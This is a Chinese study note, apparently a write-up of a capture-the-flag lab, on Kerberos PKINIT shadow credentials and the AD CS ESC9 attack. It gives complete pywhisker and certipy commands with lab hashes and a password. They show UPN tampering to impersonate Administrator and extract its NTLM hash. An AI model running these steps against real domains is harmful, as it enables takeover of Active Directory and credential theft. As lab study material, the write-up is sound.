Kerberos协议及攻击
仅学习记录用
协议
PKINIT
PKINIT 是 Kerberos 协议的扩展,允许使用 X.509 证书代替密码进行身份认证。例如,当我们使用 pywhisker.py 向 management_svc 的 msDS-KeyCredentialLink 属性中添加生成的证书信息后意味着
- 域控制器(KDC)会信任该证书与 management_svc 账号的绑定关系。
- 持有该证书私钥的人,可通过 PKINIT 协议向 KDC 请求 management_svc 的 TGT(无需知道其密码)。
该部分与委派不同 委派本质是权限传递 而PKINIT本质是直接扮演
┌──(kali㉿kali)-[~/Desktop/red/pywhisker/pywhisker]
└─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: f1ba22ce-463f-67f3-50a4-285a113ea68f
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: VE69zj7b.pfx
[+] PFX exportiert nach: VE69zj7b.pfx
[i] Passwort für PFX: 8mhSSs9ylJfNe4oQPh9P
[+] Saved PFX (#PKCS12) certificate & key at path: VE69zj7b.pfx
[*] Must be used with password: 8mhSSs9ylJfNe4oQPh9P
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
比如上述payload显示pywhisker.py利用委派获取management_svc的TGT 因为他们在同组很好办到 拿到TGT之后还有剩下的操作来获取NTLM 不过可以使用certipy来一条龙 比pywhisker.py方便
攻击
以下漏洞都是基于certipy进行查找与攻击 官方exploit
certipy find -vulnerable -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -stdout
ESC9
ESC9 漏洞,与名为 CertifiedAuthentication 的证书模板相关。此漏洞的核心在于:对证书模板拥有注册权限的用户可以请求证书,并且由于模板配置不当(缺少必要的安全扩展,如 CT_FLAG_NO_SECURITY_EXTENSION 未设置),攻击者可以通过在证书请求中指定一个备用主体名 (SAN) 来冒充其他用户,例如域管理员。
以Certified靶机为例 使用certipy找到存在ESC9漏洞后 执行如下步骤
- management_svc对ca_operator有GenericAll权限 使用exploit修改ca_operator的UPN(userPrincipalName)为Administrator
通过篡改低权限 “受害者账户” 的 UPN,让申请到的证书 SAN 字段包含高权限账户的标识,进而欺骗域控制器获取高权限凭证。
certipy account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41
- 篡改UPN权限后 生成证书模板 模板名字为在certipy -find中可以查到
certipy req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
- 生成完证书模板之后 需要将ca_operator的UPN再改回去 因为一会要通过证书认证(此步不做也不一定百分百会失败)
certipy account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41
- 最后通过生成的pfx证书 获取管理员的NTLM哈希
certipy auth -pfx 命令的作用是:用证书向域控制器的 KDC 服务请求 Kerberos 票据(TGT)。
域控制器收到请求后,检查证书的 SAN 字段,发现 UPN 是administrator,且因缺少安全扩展无法验证 SID,便默认该证书属于administrator账户。
因此,KDC 会为 “administrator” 签发 TGT(票据授予票据),甚至允许提取该账户的 NT 哈希(通过 Kerberos 协议的某些扩展功能)。
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb
据此就可以通过certipy获取获取管理员的NTLM哈希